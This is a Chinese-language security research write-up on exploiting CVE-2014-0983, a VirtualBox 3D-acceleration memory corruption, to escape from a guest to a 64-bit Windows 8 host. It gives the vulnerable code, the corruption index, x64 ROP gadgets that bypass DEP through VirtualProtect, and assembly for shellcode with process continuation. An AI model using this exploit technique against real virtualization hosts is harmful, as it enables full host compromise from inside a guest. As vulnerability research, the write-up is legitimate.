VirtualBox 3D加速之虚拟机逃逸漏洞的高级利用
在前一个博客中,我们分享了一个影响Xen hypervisor的客户机-到-主机(guest-to-host)的越狱漏洞的利用技术。在这个新的博客文章中,我们将重点放在另外一个虚拟机逃逸漏洞,VirtualBox。
几个月以前,我们核心安全的朋友发布了一个关于影响VirtualBox的多个内存破坏漏洞的议题,可能允许在客户机操作系统的用户/程序逃逸虚拟机并且在主机操作系统上执行任意代码。
几个星期前,REcon 2014年期间,Francisco Falcon 已经证明可以组合这些漏洞并且利用它们来实现在一个32位windows主机上客户机-到-主机( guest-to-host )的逃逸。
在这篇博客中,我们将分享在64位windows 8主机上只使用一个漏洞(CVE-2014-0983)来实现一个可靠的虚拟机逃逸利用技术,并没有使VirtualBox进程崩溃(也称为进程延续)。
1:该漏洞的技术分析
多个内存破坏漏洞存在于OpenGL图形VirtualBox 3D加速中。在这个分析中,我们将专注于CVE-2014-0983。
从客户机操作系统方面看,客户机的增加会增加成倍数量的服务如:拖放,共享剪贴板,图形渲染等。其中的一个服务被称为“共享的OpenGL”。当3D加速在VirtualBox中启用(默认禁用),可以通过客户机/服务器模型提供远程呈现OpenGL图形。客户机操作系统作为一个客户端发送一个渲染消息给“VBoxGuest.sys”驱动程序,该驱动程序随后通过PMIO/MMIO转发消息到解析它的主机(作为一个服务器)。更多关于 VirtualBox and 3D的细节参考这里。
在诸多的渲染消息中有一个名为”CR_MESSAGE_OPCODES”的渲染消息,其结构由操作码(命令标识)构成。在服务器端(主机操作系统)”crUnpack()”函数处理所有的操作码。
static void
crServerDispatchMessage(CRConnection *conn, CRMessage *msg) {
const CRMessageOpcodes *msg_opcodes;
CRASSERT(msg->header.type == CR_MESSAGE_OPCODES);
msg_opcodes = (const CRMessageOpcodes *)msg;
data_ptr = (const char *) msg_opcodes + sizeof(CRMessageOpcodes) + opcodeBytes;
crUnpack(data_ptr, /* 第一个指令操作数 */
data_ptr – 1, /* 第一个指令操作码 */
msg_opcodes->numOpcodes, /* 操作码个数 */
&(cr_server.dispatch)); /* CR调度表 */
在安装VirtualBox时通过位于”src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py”的python脚本自动生成”crUnpack()”函数的内容,该函数可作为一个开关,并根据操作码处理不同的功能。
通过发送包含操作码”CR_VERTEXATTRIB4NUBARB_OPCODE” (0xEA)的消息,”crUnpack()”调用”crUnpackVertexAttrib4NubARB()”,这个函数解析来自客户机操作系统的没有任何验证或检查的渲染消息。
static void crUnpackVertexAttrib4NubARB(void)
{
GLuint index = READ_DATA( 0, GLuint );
GLubyte x = READ_DATA( 4, GLubyte );
GLubyte y = READ_DATA( 5, GLubyte );
GLubyte z = READ_DATA( 6, GLubyte );
GLubyte w = READ_DATA( 7, GLubyte );
cr_unpackDispatch.VertexAttrib4NubARB( index, x, y, z, w );
INCR_DATA_PTR( 8 );
}
void SERVER_DISPATCH_APIENTRY crServerDispatchVertexAttrib4NubARB(GLuint index, GLubyte x, GLubyte y, GLubyte z, GLubyte w ) {
cr_server.head_spu->dispatch_table.VertexAttrib4NubARB(index, x, y, z, w );
cr_server.current.c.vertexAttrib.ub4[index] = cr_unpackData;
}
由于缺少数组索引的验证,位于”cr_server.current.c.vertexAttrib.ub4″ 数组之后的内存可以通过 “cr_unpackData”破坏。
.text:000007FA24376440 crServerDispatchVertexAttrib4NubARB proc near
.text:000007FA24376440
.text:000007FA24376440 var_18 = byte ptr -18h
.text:000007FA24376440 arg_20 = byte ptr 28h
.text:000007FA24376440
.text:000007FA24376440 push rbx
.text:000007FA24376442 sub rsp, 30h
.text:000007FA24376446 movzx eax, [rsp+38h+arg_20]
.text:000007FA2437644B mov ebx, ecx ; index
.text:000007FA2437644D mov [rsp+38h+var_18], al
.text:000007FA24376451 mov rax, cs:head_spu
// dispatch_table.VertexAttrib4NubARB
.text:000007FA24376458 call qword ptr [rax+1498h]
// pointer to controlled opcode data
.text:000007FA2437645E mov rax, cs:cr_unpackData
.text:000007FA24376465 lea rcx, cr_server_current_c_vertexAttrib_ub4
.text:000007FA2437646C mov [rcx+rbx*8], rax ; crash
.text:000007FA24376470 add rsp, 30h
.text:000007FA24376474 pop rbx
.text:000007FA24376475 retn
.text:000007FA24376475 crServerDispatchVertexAttrib4NubARB endp
如此一来在虚拟机中的客户机操作系统的恶意用户或程序可以在主机操作系统上执行任意代码。
2:Windows 8 (64bit) 主机上的利用
要从虚拟客户机利用此漏洞,我们需要编写一个恶意程序通过可用的客户机提供的驱动程序发送异常消息到主机上。
有漏洞的函数 “crUnpackVertexAttrib4NubARB”位于“VBoxSharedCrOpenGL.dll”中,而且数组位于该dll的.data区段:
.data:000007FA2444B518 cr_server_current_c_vertexAttrib_ub4 db ?
因此,继 “cr_server.current.c.vertexAttrib.ub4″数组之后的地址可以被”cr_unpackData”破坏。”cr_unpackData”是一个指向从客户机操作系统发来的渲染消息的指针。
主机操作系统上的”VBoxSharedCrOpenGL.dll”中相关的”cr_server.current.c.vertexAttrib.ub4” 数组的内存可以被破坏。有了这个write4 primitive(这里不知道如何翻译),我们可以破坏位于.data区段的函数指针。通过查看该漏洞函数,我们可以看到:
cr_server.head_spu->dispatch_table.VertexAttrib4NubARB(…);
将其翻译成汇编代码如下:
.text:000007FA24376451 mov rax, cs:head_spu
// dispatch_table.VertexAttrib4NubARB
.text:000007FA24376458 call qword ptr [rax+1498h]
“cr_server.head_spu”在.data区段的位置如下:
.data:000007FA2444CA60 head_spu dq
这是被破坏的地址。”cr_server.head_spu” 位于数组之后,对于corruption,我们需要一个正向的索引:
.text:000007FA2437646C mov [rcx+rbx*8], rax // corruption
…
.data:000007FA2444B518 cr_server_current_c_vertexAttrib_ub4 db // array
.data:000007FA2444CA60 cr_server_head_spu dq // target
索引可被计算,如下:
0x7FA2444CA60 0x7FA2444B518 = 0x1548
0x1548 / 8 = 0x2A9
破坏”cr_server.head_spu”之后,主机操作系统已经完成了渲染消息的解析并且没有代码重定向。但当包含有操作码”CR_VERTEXATTRIB4NUBARB_OPCODE”(0xEA)的相同消息再次发送,”cr_server.head_spu”被再次使用,如下:
.text:000007FA24371E30 push rbx
.text:000007FA24371E32 sub rsp, 20h
.text:000007FA24371E36 mov ebx, ecx
.text:000007FA24371E38 call crStateBegin
.text:000007FA24371E3D mov rax, cs:head_spu
.text:000007FA24371E44 mov ecx, ebx
.text:000007FA24371E46 add rsp, 20h
.text:000007FA24371E4A pop rbx
.text:000007FA24371E4B jmp qword ptr [rax+0B0h]
“cr_server.head_spu” 已经通过”cr_unpackData”(指我们的控制数据)破坏,相关跳转指令rax+0xB0将会重定向执行流。
下一步是处理堆栈平衡。默认情况下,VirtualBox除了 “VBoxREM.dll” 之外所有组件都启用”ASLR/DEP”,”VBoxREM.dll”没有使用”ASLR”技术;因此,可以在利用过程中使用此dll(当然也可以利用其它漏洞实现内存泄露)。
当我们重定向执行流时,所有寄存器状态如下所示:
rax=000000004b09f2b4 rbx=000000004b09f2b0 rcx=0000000000000331
rdx=0000000000000073 rsi=0000000000000001 rdi=000007fa2444ca68
rip=000007fa24371e4b rsp=00000000055afb78 rbp=000000004b09f2a6
r8=7efefefefefefeff r9=7efefefefefeff72 r10=0000000000000000
r11=8101010101010100 r12=0000000000000004 r13=000007fa24360000
r14=000007fa1d7b0000 r15=000000004aa16a50
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
VBoxSharedCrOpenGL!crServerVBoxCompositionSetEnableStateGlobal+0x677b:
000007fa’ 24371e4b 48ffa0b0000000 jmp qword ptr [rax+0B0h]
寄存器RAX,RBX和RBP指向渲染消息:
0:015> dd rax
00000000' 4b09f2b4 000002a9 42424242 42424242 42424242
0:015> dd rbx
00000000′ 4b09f2b0 00000331 000002a9 42424242 42424242
0:015> dd rbp
00000000&’4b09f2a6 0008f702 00300000 03310000 02a90000
00000000&’4b09f2b6 42420000 42424242 42424242 42424242
其中包含有渲染操作码,紧接着的是我们的全部的控制数据。
总之,堆栈平衡不能简单使用指令RET, JMP [register], CALL [register]完成。64位编译器会通过跳转到被调用者来优化最后一次函数调用。这有助于我们找到一个如下的合适的平衡:(我将Gadget翻译为工具代码 :-)
; Gadget 1: 6a689670
mov rax,qword ptr [rdx+rax] ds:00000000' 4b09f327=000000006a6810db
add rsp,28h
mov rdx,rbx
pop rbx
leave
jmp rax
RDX寄存器总是被设置为0×73。 因此,第一条指令将控制数据传送到RAX。
LEAVE 指令将RSP设置为RBP(指向我们的消息),然后跳转到RAX寄存器(我们下一个工具代码)。
现在RSP是可控的,x64 ROP用于调用 “VirtualProtect()”函数和实现代码执行。公开每一个工具代码的详细细节,第一个将会增加堆栈空间(POP RSI,RDI,RBP,R12),工具代码如下:
; Gadget 2: control RDX value
pop rdx
xor ecx,dword ptr [rax]
add cl,cl
movzx eax,al
ret
; Gadget 3: set RAX to RSP value
lea rax,[rsp+8]
ret
; Gadget 4: set RAX to RSP + RDX (offset)
lea rax,[rdx+rax]
ret
; Gadget 5: Write stack address (EAX) on the stack (with index RDX)
add dword ptr [rax],eax
add cl,cl
ret
如此一来,RSP的值可写在堆栈上的任何位置(取决于RDX值)。现在堆栈是可控的,下面的工具代码将用于调用”VirtualProtect()”和绕过DEP:
; Gadget 6
mov r9,r12
mov r8d,dword ptr [rsp+8Ch]
mov rdx,qword ptr [rsp+68h]
mov rcx,qword ptr [rsp+50h]
call rbp
由于第二个工具代码(堆栈提升),我们得以控制R12和RBP寄存器。
(注:不像x86,在x64系统上前4个函数参数不压入堆栈,fast call函数调用约定下,寄存器 RCX,RDX,R8,R9是作为参数使用的。)
现在堆栈中包含控制数据并且可以将RSP的值写入其中。因此所有的函数参数都可以设置。最后,通过将RBP设置为0x6a70bb20调用“VirtualProtect()”。
.text:000000006A70BB20 jmp cs:VirtualProtect
不像x86,RBP寄存器被用于访问堆栈上的参数和局部变量,不再是一个帧指针了。
; .text: 0x6a709292
call rbp (0x6a70bb20)
; .text: 0x6A70BB20
jmp cs:VirtualProtect
; KERNEL32!VirtualProtectStub
jmp qword ptr [KERNEL32!_imp_VirtualProtect (000007fa' 2ccce2e8)]
; KERNELBASE!VirtualProtect
mov rax,rsp
执行”VirtualProtect()”函数并且堆栈权限被设置为RWE。最后的工具代码将会重定向执行流,代码如下:
; Gadget 7
lea rax, [rsp+8]
ret
; Gadget 8
push rax
adc cl,ch
ret
现在,我们从客户机操作系统发送的数据可以在主机操作系统的上下文中执行了。
Shellcode和进程延续
现在的目标是在不崩溃VirtualBox进程(也成为进程延续)的情况下执行x64 shellcode。
执行的第一条指令是相当敏感的,因为RSP(堆栈指针)几乎相当于RIP(指令指针)。因此RSP必须被移动到渲染消息底部的其他地方:如下图所示:
3D渲染消息由客户机操作系统分配并且其组件是已知的(opcodes,ROP,pre-shellcode,shellcode,post-shellcode,shellcode stack size)。因此我们能够根据shellcoe和所需的堆栈大小制作此消息。
Pre-shellcode 如下:
4ab9a30e 90 nop
4ab9a30f 90 nop
4ab9a310 4881c4XXXXXXXX add rsp,X
现在堆栈指针(RSP)处于安全的位置,我们的shellcode可以执行,post-shellcode 则用于修复。
– 堆栈指针(RSP)
– .data区段被破坏的函数指针(cr_server.head_spu)
为了恢复原来的堆栈指针(RSP),必须使用线程环境块(Thread Environment Block),得益于GS寄存器该结构可以被访问。 TEB开始于一个结构,该结构包含我们所需要的一切,结构如下:
typedef struct _NT_TIB
{
PEXCEPTION_REGISTRATION_RECORD ExceptionList;
PVOID StackBase;
PVOID StackLimit;
…
} NT_TIB, *PNT_TIB;
一旦找到stack base,可以使用模式匹配获取原来的堆栈:如下:
mov eax,dword ptr gs:[10h] // retrieve stack base
xor rbx,rbx
Label1: // pattern matching
inc rbx
cmp dword ptr [rax+rbx*4],331h // opcode argument
jne
inc rbx
cmp dword ptr [rax+rbx*4],2A9h // index used for corruption
jne
inc rbx
cmp dword ptr [rax+rbx*4],42424242h // Heh 😉
jne
rax,[rax+rbx*4] // retrieved RSP
add rax,270h // skip embarrassing functions
mov rsp,rax
堆栈指针必须加上0×170 + 0×100(其中0×170是为了达到代码执行流重定向之前的堆栈调用状态,0×100字节是为了跳过如下蓝色区域的消息解析函数):
# Memory Call Site
01 8 VBoxSharedCrOpenGL!crUnpack+0xc8
02 70 crServerVBoxCompositionSetEnableStateGlobal+0xdbca
03 30 crServerVBoxCompositionSetEnableStateGlobal+0xdd59
04 30 crServerServiceClients+0x18
05 30 crVBoxServerRemoveClient+0x18b
06 30 VBoxSharedCrOpenGL+0x19cb
07 60 VBoxC!VBoxDriversRegister+0x46002
08 70 VBoxC!VBoxDriversRegister+0x442dc
09 30 VBoxRT!RTThreadFromNative+0x20f
…
使用RET指令,代码可以可以恢复到最初的执行流,但是在那之前,”cr_server.head_spu”必须被修复。
“cr_server.head_spu”已被破坏,该变量的默认值是一个包含虚函数表的堆地址。试图恢复原来的堆地址是不容易的,原因如下:
-每一个不同的windows版本都有一个不同的复杂的堆格式
-无模式匹配;堆的内容是一个函数表
一个简单的解决方法是重新使用现有的代码。需要注意的是”VBoxSharedCrOpenGL.dll”中的”crVBoxServerRemoveClient()”函数位于堆栈的顶部,其地址位于.text区段的开始。映射到内存中的每个库都是对齐的,因此,如果我们只保持函数地址的高部分,就可以得到”VBoxSharedCrOpenGL.dll”的基地址,代码如下:
mov rsp,rax
// take VBoxSharedCrOpenGL!crVBoxServerRemoveClient+0x18b
mov rax,qword ptr [rax]
and rax,0FFFFFFFFFFFF0000h // get VBoxSharedCrOpenGL.dll base
知道了 “VBoxSharedCrOpenGL” 基地址,post-shellcode 可以调用其他的函数,比如:”ccrVBoxServerInit()”,这个函数调用修复”cr_server.head_spu”的函数”crServerSetVBoxConfigurationHGCM()”。
GLboolean crVBoxServerInit(void)
{
…
crServerSetVBoxConfigurationHGCM();
if (!cr_server.head_spu)
return GL_FALSE;
crServerInitDispatch();
crServerInitTmpCtxDispatch();
crStateDiffAPI( &(cr_server.head_spu->dispatch_table) );
return GL_TRUE;
}
void crServerSetVBoxConfigurationHGCM()
{
int spu_ids[1] = {0};
char *spu_names[1] = {“render”};
char *spu_dir = NULL;
cr_server.head_spu = crSPULoadChain(1, spu_ids, spu_names, spu_dir, &cr_server);
…
}
接下来是post-shellcode的最后部分:
mov rsp,rax
// take VBoxSharedCrOpenGL!crVBoxServerRemoveClient+0x18b
mov rax,qword ptr [rax]
and rax,0FFFFFFFFFFFF0000h // get VBoxSharedCrOpenGL.dll base
push rax
add rax,4630h // get VBoxSharedCrOpenGL!crVBoxServerInit
call rax // auto-repair
pop rax
ret // return to the orignial call stack